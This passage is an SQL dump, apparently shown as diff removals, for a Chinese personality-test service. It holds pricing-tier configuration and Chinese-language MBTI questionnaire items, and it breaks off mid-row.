-CREATE TABLE `mbti_pricing_config` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', - `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认', - `config` json NULL COMMENT '定价配置(JSON格式)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_pricing_config --- ---------------------------- -INSERT INTO `mbti_pricing_config` VALUES (1, 'personal', NULL, '{\"pdp\": 0.01, \"disc\": 0.01, \"face\": 0.01, \"mbti\": 0.01, \"report\": 0}', 1770882450, 1773127359); -INSERT INTO `mbti_pricing_config` VALUES (2, 'enterprise', NULL, '{\"pdp\": 8, \"disc\": 8, \"face\": 8, \"mbti\": 8, \"report\": 15, \"minRecharge\": 100, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1770882450, 1773220907); -INSERT INTO `mbti_pricing_config` VALUES (3, 'deep', NULL, '{\"team\": 999, \"personal\": 199}', 1770882450, 1770882450); -INSERT INTO `mbti_pricing_config` VALUES (4, 'admin_personal', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 19.9}', 1770887324, 1773036920); -INSERT INTO `mbti_pricing_config` VALUES (5, 'admin_personal', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 0.02}', 1772161295, 1773036737); -INSERT INTO `mbti_pricing_config` VALUES (8, 'deep_personal', NULL, '{\"categories\": [{\"id\": \"1772268461984\", \"price\": 198, \"title\": \"个人深度洞察版\", \"features\": [\"AI面部分析(基于东方面相学与西方心理学)\", \"MBTI性格测试(16型人格完整解读)\", \"盖洛普优势Top5识别(发现你的核心天赋)\", \"PDP行为偏好分析(了解你的行为模式)\", \"DISC沟通风格分析(提升沟通效率)\", \"多维度综合性格报告(包含优势解读、潜在盲区提示)\", \"职业发展方向推荐(匹配最适合你的职业)\"], \"subtitle\": \"三张照片+问卷,全面解锁你的内在潜能\", \"priceUnit\": \"/次\", \"actionType\": \"buy\", \"productKey\": \"1772268461984\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。\"}]}', 1772268761, 1773212515); -INSERT INTO `mbti_pricing_config` VALUES (9, 'deep_enterprise', NULL, '{\"categories\": [{\"id\": \"1772268637136\", \"title\": \"团队启动版\", \"features\": [\"10人完成个人深度洞察报告\", \"1次团队动力诊断分析会(2-3小时)\", \"识别团队优势组合与潜在风险点\"], \"subtitle\": \"适合初创团队、小型部门\", \"userLimit\": \"最多10人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"19800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268677712\", \"title\": \"团队成长版\", \"features\": [\"最多30人完成个人深度洞察报告\", \"包含\\\"启动版\\\"所有内容\", \"1次定制化团队协作增效工作坊(7天)\", \"聚焦沟通优化、优势协作等主题\"], \"subtitle\": \"适合成长型团队\", \"userLimit\": \"10-30人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"39800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268704928\", \"title\": \"团队蜕变版\", \"features\": [\"最多100人完成个人深度洞察报告\", \"包含\\\"成长版\\\"所有内容\", \"更深度、更定制化的系列组合(≥2工作日)\", \"3个月的落地跟进顾问服务\"], \"subtitle\": \"适合中大型团队\", \"userLimit\": \"最多100人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"98000\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}]}', 1772268761, 1773212515); -INSERT INTO `mbti_pricing_config` VALUES (10, 'admin_enterprise', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1772767876, 1773036927); -INSERT INTO `mbti_pricing_config` VALUES (11, 'admin_enterprise', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1773036955, 1773036955); - --- ---------------------------- --- Table structure for mbti_questions --- ---------------------------- -DROP TABLE IF EXISTS `mbti_questions`; -CREATE TABLE `mbti_questions` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID', - `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp', - `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容', - `options` json NULL COMMENT '选项(JSON格式)', - `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)', - `sort` int(11) NULL DEFAULT 0 COMMENT '排序', - `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用', - `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_type`(`type`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_sort`(`sort`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_deletedAt`(`deletedAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_questions --- ---------------------------- -INSERT INTO `mbti_questions` VALUES (1, 'mbti', '在社交场合中,您通常会:', '[{\"text\": \"认识新朋友,扩大社交圈\", \"value\": \"E\"}, {\"text\": \"与已认识的朋友交流,保持小圈子\", \"value\": \"I\"}]', 'EI', NULL, 1, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (2, 'mbti', '您更喜欢:', '[{\"text\": \"在团队中工作,与他人合作\", \"value\": \"E\"}, {\"text\": \"独立工作,自己思考问题\", \"value\": \"I\"}]', 'EI', NULL, 2, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (3, 'mbti', '当您需要充电时,您会选择:', '[{\"text\": \"与朋友聚会,参加社交活动\", \"value\": \"E\"}, {\"text\": \"独处,阅读或进行个人爱好\", \"value\": \"I\"}]', 'EI', NULL, 3, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (4, 'mbti', '在会议或讨论中,您通常:', '[{\"text\": \"积极发言,边说边思考\", \"value\": \"E\"}, {\"text\": \"先思考,然后再发表意见\", \"value\": \"I\"}]', 'EI', NULL, 4, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (5, 'mbti', '您更倾向于:', '[{\"text\": \"认识很多人,建立广泛的社交网络\", \"value\": \"E\"}, {\"text\": \"与少数几个人建立深厚的友谊\", \"value\": \"I\"}]', 'EI', NULL, 5, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (6, 'mbti', '在工作环境中,您更喜欢:', '[{\"text\": \"开放的办公空间,可以随时与同事交流\", \"value\": \"E\"}, {\"text\": \"安静的私人空间,可以专注工作\", \"value\": \"I\"}]', 'EI', NULL, 6, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (7, 'mbti', '当面对问题时,您更倾向于:', '[{\"text\": \"与他人讨论,获取不同观点\", \"value\": \"E\"}, {\"text\": \"独自思考,寻找解决方案\", \"value\": \"I\"}]', 'EI', NULL, 7, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (8, 'mbti', '您更喜欢的休闲活动是:', '[{\"text\": \"参加派对、团体活动或体育比赛\", \"value\": \"E\"}, {\"text\": \"阅读、看电影或独自进行创作\", \"value\": \"I\"}]', 'EI', NULL, 8, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (9, 'mbti', '在陌生环境中,您通常会:', '[{\"text\": \"主动与他人交谈,快速融入环境\", \"value\": \"E\"}, {\"text\": \"观察周围环境,等待他人接近\", \"value\": \"I\"}]', 'EI', NULL, 9, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (10, 'mbti', '您认为自己是:', '[{\"text\": \"外向、健谈的人\", \"value\": \"E\"}, {\"text\": \"内敛、安静的人\", \"value\": \"I\"}]', 'EI', NULL, 10, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (11, 'mbti', '长时间的社交活动后,您通常会:', '[{\"text\": \"感到精力充沛,想继续社交\", \"value\": \"E\"}, {\"text\": \"感到疲惫,需要独处恢复精力\", \"value\": \"I\"}]', 'EI', NULL, 11, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (12, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"与团队一起头脑风暴和协作\", \"value\": \"E\"}, {\"text\": \"独立思考和解决问题\", \"value\": \"I\"}]', 'EI', NULL, 12, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (13, 'mbti', '您更容易:', '[{\"text\": \"在说话的过程中组织思路\", \"value\": \"E\"}, {\"text\": \"在说话前先组织好思路\", \"value\": \"I\"}]', 'EI', NULL, 13, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (14, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"小组讨论和互动学习\", \"value\": \"E\"}, {\"text\": \"自学和独立研究\", \"value\": \"I\"}]', 'EI', NULL, 14, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (15, 'mbti', '当您有好消息时,您会:', '[{\"text\": \"立即告诉朋友和家人分享喜悦\", \"value\": \"E\"}, {\"text\": \"只告诉少数几个亲近的人\", \"value\": \"I\"}]', 'EI', NULL, 15, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (16, 'mbti', '您更喜欢的假期类型是:', '[{\"text\": \"热闹的旅游胜地,有很多活动和人\", \"value\": \"E\"}, {\"text\": \"安静的度假地,可以放松和思考\", \"value\": \"I\"}]', 'EI', NULL, 16, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (17, 'mbti', '在团队项目中,您更倾向于:', '[{\"text\": \"担任协调者或发言人的角色\", \"value\": \"E\"}, {\"text\": \"负责研究或分析的工作\", \"value\": \"I\"}]', 'EI', NULL, 17, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (18, 'mbti', '您更喜欢的通讯方式是:', '[{\"text\": \"面对面交谈或视频通话\", \"value\": \"E\"}, {\"text\": \"电子邮件或文字消息\", \"value\": \"I\"}]', 'EI', NULL, 18, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (19, 'mbti', '当您遇到困难时,您更倾向于:', '[{\"text\": \"寻求他人的建议和支持\", \"value\": \"E\"}, {\"text\": \"自己思考解决方案\", \"value\": \"I\"}]', 'EI', NULL, 19, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (20, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"充满活力和互动的环境\", \"value\": \"E\"}, {\"text\": \"安静和专注的环境\", \"value\": \"I\"}]', 'EI', NULL, 20, 1, NULL, 1770881506, 1770881506); -INSERT INTO `mbti_questions` VALUES (21, 'mbti', '您更倾向于:', '[{\"text\": \"在多个社交圈中活跃\", \"value\": \"E\"}, {\"text\": \"在一个小圈子中深入交往\", \"value\": \"I\"}]', 'EI', NULL, 21, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (22, 'mbti', '您更喜欢:', '[{\"text\": \"参加大型社交活动\", \"value\": \"E\"}, {\"text\": \"与一两个朋友进行深入交流\", \"value\": \"I\"}]', 'EI', NULL, 22, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (23, 'mbti', '您更倾向于:', '[{\"text\": \"在公共场合表达自己的想法\", \"value\": \"E\"}, {\"text\": \"在私下或小范围内分享想法\", \"value\": \"I\"}]', 'EI', NULL, 23, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (24, 'mbti', '当面对新信息时,您更倾向于:', '[{\"text\": \"关注具体细节和事实\", \"value\": \"S\"}, {\"text\": \"寻找模式和可能性\", \"value\": \"N\"}]', 'SN', NULL, 24, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (25, 'mbti', '您更相信:', '[{\"text\": \"实际经验和直接观察\", \"value\": \"S\"}, {\"text\": \"直觉和想象力\", \"value\": \"N\"}]', 'SN', NULL, 25, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (26, 'mbti', '您更喜欢处理:', '[{\"text\": \"已知的、确定的信息\", \"value\": \"S\"}, {\"text\": \"理论性的、抽象的概念\", \"value\": \"N\"}]', 'SN', NULL, 26, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (27, 'mbti', '在解决问题时,您更倾向于:', '[{\"text\": \"使用已证实有效的方法\", \"value\": \"S\"}, {\"text\": \"尝试创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 27, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (28, 'mbti', '您更关注:', '[{\"text\": \"当下的现实和实际情况\", \"value\": \"S\"}, {\"text\": \"未来的可能性和潜在发展\", \"value\": \"N\"}]', 'SN', NULL, 28, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (29, 'mbti', '您更喜欢的工作类型是:', '[{\"text\": \"有明确指导和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许创新和探索的工作\", \"value\": \"N\"}]', 'SN', NULL, 29, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (30, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的细节\", \"value\": \"S\"}, {\"text\": \"思考概念和理论\", \"value\": \"N\"}]', 'SN', NULL, 30, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (31, 'mbti', '您更喜欢的书籍或电影是:', '[{\"text\": \"基于现实的故事或纪实作品\", \"value\": \"S\"}, {\"text\": \"科幻、奇幻或充满想象力的作品\", \"value\": \"N\"}]', 'SN', NULL, 31, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (32, 'mbti', '在学习新技能时,您更倾向于:', '[{\"text\": \"按部就班地学习,掌握每个具体步骤\", \"value\": \"S\"}, {\"text\": \"先了解整体概念,然后填补细节\", \"value\": \"N\"}]', 'SN', NULL, 32, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (33, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确结构和规则的环境\", \"value\": \"S\"}, {\"text\": \"灵活多变,鼓励创新的环境\", \"value\": \"N\"}]', 'SN', NULL, 33, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (34, 'mbti', '您更倾向于:', '[{\"text\": \"关注现实和实际问题\", \"value\": \"S\"}, {\"text\": \"思考未来和可能性\", \"value\": \"N\"}]', 'SN', NULL, 34, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (35, 'mbti', '在描述事物时,您更倾向于:', '[{\"text\": \"提供具体细节和精确描述\", \"value\": \"S\"}, {\"text\": \"使用比喻和隐喻,强调整体印象\", \"value\": \"N\"}]', 'SN', NULL, 35, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (36, 'mbti', '您更喜欢的工作任务是:', '[{\"text\": \"需要精确和注重细节的任务\", \"value\": \"S\"}, {\"text\": \"需要创造力和想象力的任务\", \"value\": \"N\"}]', 'SN', NULL, 36, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (37, 'mbti', '您更相信:', '[{\"text\": \"亲眼所见和实际经验\", \"value\": \"S\"}, {\"text\": \"直觉和内在感受\", \"value\": \"N\"}]', 'SN', NULL, 37, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (38, 'mbti', '在讨论问题时,您更关注:', '[{\"text\": \"具体事实和实际例子\", \"value\": \"S\"}, {\"text\": \"概念和理论框架\", \"value\": \"N\"}]', 'SN', NULL, 38, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (39, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"通过实践和具体例子学习\", \"value\": \"S\"}, {\"text\": \"通过理论和概念学习\", \"value\": \"N\"}]', 'SN', NULL, 39, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (40, 'mbti', '您更倾向于:', '[{\"text\": \"关注现在和过去的经验\", \"value\": \"S\"}, {\"text\": \"思考未来和可能发生的事情\", \"value\": \"N\"}]', 'SN', NULL, 40, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (41, 'mbti', '在解决问题时,您更依赖:', '[{\"text\": \"已经证明有效的方法和经验\", \"value\": \"S\"}, {\"text\": \"创新的思路和直觉\", \"value\": \"N\"}]', 'SN', NULL, 41, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (42, 'mbti', '您更喜欢的工作是:', '[{\"text\": \"有明确目标和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许探索和创新的工作\", \"value\": \"N\"}]', 'SN', NULL, 42, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (43, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的问题\", \"value\": \"S\"}, {\"text\": \"思考抽象和理论性的问题\", \"value\": \"N\"}]', 'SN', NULL, 43, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (44, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的方法和程序工作\", \"value\": \"S\"}, {\"text\": \"尝试新的方法和创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 44, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (45, 'mbti', '您更关注:', '[{\"text\": \"实际的细节和具体的事实\", \"value\": \"S\"}, {\"text\": \"整体的概念和潜在的可能性\", \"value\": \"N\"}]', 'SN', NULL, 45, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (46, 'mbti', '在做决定时,您通常会:', '[{\"text\": \"考虑逻辑和客观分析\", \"value\": \"T\"}, {\"text\": \"考虑个人价值观和他人感受\", \"value\": \"F\"}]', 'TF', NULL, 46, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (47, 'mbti', '您更倾向于:', '[{\"text\": \"公正客观地分析情况\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 47, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (48, 'mbti', '在解决冲突时,您更关注:', '[{\"text\": \"找出问题的根本原因和逻辑解决方案\", \"value\": \"T\"}, {\"text\": \"维护关系和照顾各方感受\", \"value\": \"F\"}]', 'TF', NULL, 48, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (49, 'mbti', '您更倾向于:', '[{\"text\": \"直接指出问题,即使可能伤害他人感受\", \"value\": \"T\"}, {\"text\": \"委婉表达,避免伤害他人感受\", \"value\": \"F\"}]', 'TF', NULL, 49, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (50, 'mbti', '在评估情况时,您更重视:', '[{\"text\": \"客观事实和逻辑分析\", \"value\": \"T\"}, {\"text\": \"人际关系和价值观\", \"value\": \"F\"}]', 'TF', NULL, 50, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (51, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对他人的情感影响\", \"value\": \"F\"}]', 'TF', NULL, 51, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (52, 'mbti', '在团队中,您更关注:', '[{\"text\": \"任务的完成和效率\", \"value\": \"T\"}, {\"text\": \"团队和谐和成员满意度\", \"value\": \"F\"}]', 'TF', NULL, 52, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (53, 'mbti', '您更倾向于:', '[{\"text\": \"基于逻辑和事实做决定\", \"value\": \"T\"}, {\"text\": \"基于价值观和个人信念做决定\", \"value\": \"F\"}]', 'TF', NULL, 53, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (54, 'mbti', '在给予反馈时,您更倾向于:', '[{\"text\": \"直接指出问题和改进方向\", \"value\": \"T\"}, {\"text\": \"先肯定优点,再委婉提出建议\", \"value\": \"F\"}]', 'TF', NULL, 54, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (55, 'mbti', '您更看重:', '[{\"text\": \"公平和一致性\", \"value\": \"T\"}, {\"text\": \"同情和个人情况\", \"value\": \"F\"}]', 'TF', NULL, 55, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (56, 'mbti', '在工作中,您更重视:', '[{\"text\": \"效率和成果\", \"value\": \"T\"}, {\"text\": \"团队合作和人际关系\", \"value\": \"F\"}]', 'TF', NULL, 56, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (57, 'mbti', '您更倾向于:', '[{\"text\": \"客观分析问题,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响和感受\", \"value\": \"F\"}]', 'TF', NULL, 57, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (58, 'mbti', '在处理冲突时,您更倾向于:', '[{\"text\": \"关注问题本身,寻求公正的解决方案\", \"value\": \"T\"}, {\"text\": \"关注人际关系,寻求和谐的解决方案\", \"value\": \"F\"}]', 'TF', NULL, 58, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (59, 'mbti', '您更看重:', '[{\"text\": \"真实和诚实,即使可能伤害感情\", \"value\": \"T\"}, {\"text\": \"善良和体贴,避免伤害他人\", \"value\": \"F\"}]', 'TF', NULL, 59, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (60, 'mbti', '在评价他人时,您更倾向于:', '[{\"text\": \"客观评价其表现和能力\", \"value\": \"T\"}, {\"text\": \"考虑其努力和意图\", \"value\": \"F\"}]', 'TF', NULL, 60, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (61, 'mbti', '您更倾向于:', '[{\"text\": \"基于原则和规则做决定\", \"value\": \"T\"}, {\"text\": \"基于具体情况和个人需求做决定\", \"value\": \"F\"}]', 'TF', NULL, 61, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (62, 'mbti', '在处理问题时,您更关注:', '[{\"text\": \"找出最有效的解决方案\", \"value\": \"T\"}, {\"text\": \"确保所有人都感到被尊重和理解\", \"value\": \"F\"}]', 'TF', NULL, 62, 1, NULL, 1770881507, 1770881507); -INSERT INTO `mbti_questions` VALUES (63, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观和理性\", \"value\": \"T\"}, {\"text\": \"表达同理心和关怀\", \"value\": \"F\"}]', 'TF', NULL, 63, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (64, 'mbti', '在做决定时,您更看重:', '[{\"text\": \"逻辑和一致性\", \"value\": \"T\"}, {\"text\": \"价值观和人际和谐\", \"value\": \"F\"}]', 'TF', NULL, 64, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (65, 'mbti', '您更倾向于:', '[{\"text\": \"分析问题,寻找最佳解决方案\", \"value\": \"T\"}, {\"text\": \"理解他人感受,寻求共识\", \"value\": \"F\"}]', 'TF', NULL, 65, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (66, 'mbti', '在工作中,您更重视:', '[{\"text\": \"完成任务和达成目标\", \"value\": \"T\"}, {\"text\": \"维护良好的工作关系\", \"value\": \"F\"}]', 'TF', NULL, 66, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (67, 'mbti', '您更倾向于:', '[{\"text\": \"基于事实和数据做决定\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 67, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (68, 'mbti', '您更喜欢:', '[{\"text\": \"提前计划并按计划执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据情况调整\", \"value\": \"P\"}]', 'JP', NULL, 68, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (69, 'mbti', '您更倾向于:', '[{\"text\": \"按时完成任务,避免拖延\", \"value\": \"J\"}, {\"text\": \"在最后期限前完成任务,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 69, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (70, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的规则和结构\", \"value\": \"J\"}, {\"text\": \"灵活多变,允许即兴发挥\", \"value\": \"P\"}]', 'JP', NULL, 70, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (71, 'mbti', '您更倾向于:', '[{\"text\": \"制定详细的计划并遵循\", \"value\": \"J\"}, {\"text\": \"根据情况随机应变\", \"value\": \"P\"}]', 'JP', NULL, 71, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (72, 'mbti', '您更喜欢:', '[{\"text\": \"有条理和组织的生活方式\", \"value\": \"J\"}, {\"text\": \"自然流动和灵活的生活方式\", \"value\": \"P\"}]', 'JP', NULL, 72, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (73, 'mbti', '在做决定时,您更倾向于:', '[{\"text\": \"尽快做出决定并执行\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待更多信息\", \"value\": \"P\"}]', 'JP', NULL, 73, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (74, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的时间表和计划行事\", \"value\": \"J\"}, {\"text\": \"根据当下的情况和感受行事\", \"value\": \"P\"}]', 'JP', NULL, 74, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (75, 'mbti', '您更倾向于:', '[{\"text\": \"完成一项任务后再开始下一项\", \"value\": \"J\"}, {\"text\": \"同时处理多项任务,根据情况切换\", \"value\": \"P\"}]', 'JP', NULL, 75, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (76, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"有明确的目标和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程,可以随时调整\", \"value\": \"P\"}]', 'JP', NULL, 76, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (77, 'mbti', '您更倾向于:', '[{\"text\": \"提前做决定,避免最后一刻的压力\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待最佳时机\", \"value\": \"P\"}]', 'JP', NULL, 77, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (78, 'mbti', '您的工作区域通常是:', '[{\"text\": \"整洁有序,物品摆放有规律\", \"value\": \"J\"}, {\"text\": \"创意性混乱,物品随手可及\", \"value\": \"P\"}]', 'JP', NULL, 78, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (79, 'mbti', '您更倾向于:', '[{\"text\": \"按部就班地完成任务\", \"value\": \"J\"}, {\"text\": \"在灵感来临时集中精力工作\", \"value\": \"P\"}]', 'JP', NULL, 79, 1, NULL, 1770881508, 1770881508); -INSERT INTO `mbti_questions` VALUES (80, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的规则和指导方针\", \"value\": \"J\"}, {\"text\": 